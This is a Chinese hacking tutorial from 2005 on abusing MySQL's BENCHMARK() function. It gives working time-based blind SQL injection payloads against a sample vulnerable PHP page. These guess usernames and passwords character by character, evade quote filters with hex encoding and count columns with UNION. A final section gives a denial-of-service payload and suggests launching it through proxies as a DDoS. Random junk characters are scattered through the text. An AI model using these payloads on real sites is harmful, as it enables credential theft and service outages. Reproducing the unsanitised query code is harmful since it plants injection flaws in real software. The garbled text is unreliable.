MYSQL中BENCHMARK函数的利用 9 y; a& M, F8 b# J
本文作者:SuperHei& ~* t h' l6 c( f
文章性质:原创
% }) D# c, O6 e( O v# N9 c3 p$ L发布日期:2005-01-02
/ s: w$ d" R) R- l0 f- m. [完成日期:2004-07-09 ' f9 C9 k6 M: o
第一部
5 Z/ _' d% G! G! {6 r8 ]/ Z; u# a: O. I; j. r/ U1 ]
利用时间推延进行注射---BENCHMARK函数在注射中的利用 2 w0 W3 c+ E# H6 a
) v8 x& v1 v8 K6 [& L$ d' ~/ ]
一.前言/思路
# U0 x/ ]" X( ^* [& x& K& }; L9 c0 V; d
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。$ C# E! H; a" b
1 O4 u+ t9 l$ s$ H/ z7 k. o 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。: `( |5 \! ^/ u
: l5 [+ Y) v5 s- a& |二.关于BENCHMARK函数
# m! C/ F, X& q. R: |8 @) T8 A, }0 ~! [3 c ]: i: x5 ^
在MySQL参考手册里可以看到如下描叙: ! Z9 m+ t* E0 R
6 i; h% `* {& z9 A+ X
i, X5 C; F X1 E$ [* G
--------------------------------------------------------------------------------* [ n6 z( w, h- W7 J* l" K3 D3 ]1 m
( c* ?% Z/ _' wBENCHMARK(count,expr) # k6 h3 i) R* f) m( c M
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 ! l' i- g( q9 o$ f; }6 j% A
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 3 n1 Q& r7 B3 t" U( `* z
+----------------------------------------------+
) Z9 H( e. q9 c/ w) ?9 r$ g| BENCHMARK(1000000,encode("hello","goodbye")) |
5 [5 K8 ]3 J" ^8 ~+----------------------------------------------+
& B7 E0 z) A1 o6 j7 U/ }| 0 | 6 ?; s9 a2 J. E% K1 {
+----------------------------------------------+ # F% D$ [+ R7 s( |( c* Z
1 row in set (4.74 sec)
{4 @' O2 l! F( i4 v% ^/ U! J; W, ?% N. g8 Q; ~& E0 {# S
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。8 Y+ ~6 V9 t* c7 K
+ J, B0 N! g( h1 J: H# U& V+ i5 @( S* @' G. X' O6 \
--------------------------------------------------------------------------------& ]. x f' | w9 [$ s U( K
, D& J1 G& Y+ d2 c: B4 h 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
6 y3 P9 o4 q6 j1 G! Y- K( }. o' v1 W/ v. q# K
mysql> select md5( 'test' );
9 I! T' L% {1 f m6 p+----------------------------------+
$ Z1 S% g$ l6 b; z6 ^" g| md5( 'test' ) | ) M5 V+ F+ g, }; K
+----------------------------------+ . T8 {1 e) H x: z! p! G: G
| 098f6bcd4621d373cade4e832627b4f6 | 4 d. P0 D5 g" `+ T
+----------------------------------+
# Q: s& q& n5 c2 a* Y8 n1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
! U/ |$ O0 A% ?$ o3 l* |+ F( [, R$ y4 U4 h: L' b
mysql> select benchmark( 500000, md5( 'test' ) ); 9 @6 R" z% I, n7 h4 B7 }1 [! t
+------------------------------------+
1 W& W2 e/ i0 w5 Q, q/ a| benchmark( 500000, md5( 'test' ) ) | 7 f% b* f( o# k$ Z9 i; p& c
+------------------------------------+
5 j, U: L! {5 q6 h5 N| 0 |
: {5 H5 J$ Z. v) y, q+------------------------------------+ 3 n+ B2 A1 h% ]4 i F( O
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec1 l+ D. Z) U3 O5 }
. t# x5 \: F! k! n; S; _, C5 h$ j. z0 U( f
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
; }# @4 p, A* B2 x3 u( i" {6 ^) H6 t E$ a/ t, n) R
三.具体例子. W1 k- X/ F) [ O: F4 w2 H# u
`5 Q1 O) f+ ?( n$ X" Y0 C 首先我们看个简单的php代码:/ @* v' q& U8 m, ?5 J
8 U/ \- W5 L$ v$ v/ d# d/ [
< ?php
" d _9 }- Z% C# E+ Y; n$servername = "localhost";
: f5 Q9 p' B$ k8 r. k% e7 }$dbusername = "root";
8 u+ w5 a1 ?% [8 @) B% x$dbpassword = "";
& f& f, t9 R. H$dbname = "injection"; % u6 W# k/ O' Y# i0 i+ F
5 C9 o! I# D; D: P! gmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
8 N9 N# G% C# G) {* c" m+ Q# N
$sql = "SELECT * FROM article WHERE articleid=$id"; 6 {$ K0 U- ~, M! Z; C" h" o
$result = mysql_db_query($dbname,$sql); # m# j$ A3 o) U8 v- I- J$ J# i
$row = mysql_fetch_array($result);
5 J6 L! B2 @/ D4 |+ I
. z- Z2 A5 y' m* N5 N y/ Rif (!$row)
. }+ Q o0 }+ O) e, u{
. i: L$ O. P# i( G/ ?( {- o: T) J& q8 Lexit;
6 B1 [+ y* i% W$ o}
: }( a1 u! e1 N* q, T?>1 G; Y. [# z# z( [9 x( y% v
( U3 f1 I6 d0 X
2 p5 {; b7 p8 W4 {% | 数据库injection结构和内容如下:3 H% C* A2 `# [/ k H4 T4 B6 o
. G2 y2 U- X" l4 x ]# 数据库 : `injection`
6 L9 \8 ]0 E3 d#
# k4 I8 B% ^) u0 L9 a, ?: R1 N; \: q: I3 r- D7 P5 ^8 r; A
# -------------------------------------------------------- ! e7 c' w" v. e, f9 D2 e e" J
/ j9 j( d- a2 s1 Z' p#
6 _' Q) H0 e4 P& e# 表的结构 `article`
^6 e9 F! a. F7 t7 y% F#
' U' a9 _ y, ]# s6 B8 d" \! T( ~+ |- P
CREATE TABLE `article` ( . m. O- c6 D8 ^: A: K5 W k
`articleid` int(11) NOT NULL auto_increment,
$ n* ~+ ^3 `( W6 V`title` varchar(100) NOT NULL default '',
1 M1 v* M" ~5 d! s`content` text NOT NULL, 1 U6 ^0 h# |2 d, }. P3 t0 y+ v/ R4 d
PRIMARY KEY (`articleid`) / F! W8 o# Q$ [1 t
) TYPE=MyISAM AUTO_INCREMENT=3 ; 0 B5 ~, l4 v. [$ c1 h5 A5 D2 m
/ y! t2 m( Z' R, T5 N* O* P#
5 G1 @% o7 {5 g8 X3 d# 导出表中的数据 `article`
* Q; z7 s l3 {) J9 ^1 L. s#
: K% J% e) y* s2 r4 @! [! ]; P
9 I: M3 h# E( AINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 3 G* e2 A+ I8 h% A& Z r+ u
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ! y# {: D# o F- E; x
, j' j" j; |2 L# --------------------------------------------------------
, B. y" o9 N0 n) n
2 p. @9 i9 R, C# L! X5 ^#
& t4 R: p% Y8 K" ~2 C$ {# 表的结构 `user`
) r! Z" a1 \) V% k$ }4 g* a#
, a- n- v: a% h; o8 Z& F8 `# z5 ?7 \* M, x/ f
CREATE TABLE `user` (
a" ?0 t6 B4 j, N" T4 N- G`userid` int(11) NOT NULL auto_increment,
; W% ?, T- M( |2 S9 i ``username` varchar(20) NOT NULL default '', ) W1 G& M! _ @' \" W
`password` varchar(20) NOT NULL default '', 8 r, L) X# J" g7 y
PRIMARY KEY (`userid`) 8 w+ ^! ]8 ]2 o, a) A0 {* E* @% C
) TYPE=MyISAM AUTO_INCREMENT=3 ; 1 o/ _) S. l# F' B
$ T. A: i+ J3 K
# & m) D _+ L4 _
# 导出表中的数据 `user` ( J ^5 j4 u4 I6 z, ~% n5 b6 u/ Z
#
. s) a7 }+ \% X4 [& I1 B9 K; O& ]) Y0 y3 F& m$ K8 C/ N7 [0 V
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
* l G3 ~/ b) I* ^2 J3 x+ rINSERT INTO `user` VALUES (2, '4ngel', 'mypass2'); a' {+ Q h6 t
4 {% D2 Y. K) d
1 ]- i- H# F5 u9 Y m' w2 \- d C& u 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:; F& Y8 B( [# ?) x1 r
: E' \. y, Q% |3 v/ f
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*% @5 G+ k3 \" o# k! B8 ]' d8 N) v
0 D, C1 \( ~) G; F6 y3 I8 ~
# z9 m* R3 u% Y6 O$ F3 w 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:5 z2 z: ~" G5 B. ]0 I3 ~
( {* I0 ~+ \, U: u7 Z7 C5 }
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/** W0 O {; T: J1 t
1 X( _4 v9 m' m8 j. Z' U1 p x* D8 P1 S4 S7 y
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 + C' r6 X, K( I' \7 | j
& K& c7 E& q: p! C4 U
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ) ]. X$ f3 R# W4 u
: Q3 P/ ]. \5 T% {第二部, [. f( V! C6 `, I$ e5 B6 _7 R8 u2 n
C. h7 u' P% I" l1 H
利用BENCHMARK函数进行ddos攻击
- {8 m# d/ j E: n% V/ H. B
) X! S! a6 t2 T( M$ v1 ^ 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
5 S4 Q/ g9 V+ o$ A" C3 V, R1 N, {5 f ^: Q
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
* V/ l# E( ]0 D% [) V. S
2 q9 x% j5 K3 q! j4 e: W) Q; }) @3 C2 b
小结6 n) s! C* D2 K8 S0 X" w2 E, e
( u7 S' P+ w- @; t# L/ |+ C4 c
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
+ R! y. M3 x. h y" C4 F; q; P. t 0 M' T2 z2 }. ]6 h9 [
6 F3 z( m7 a; ^3 e" q- ^
|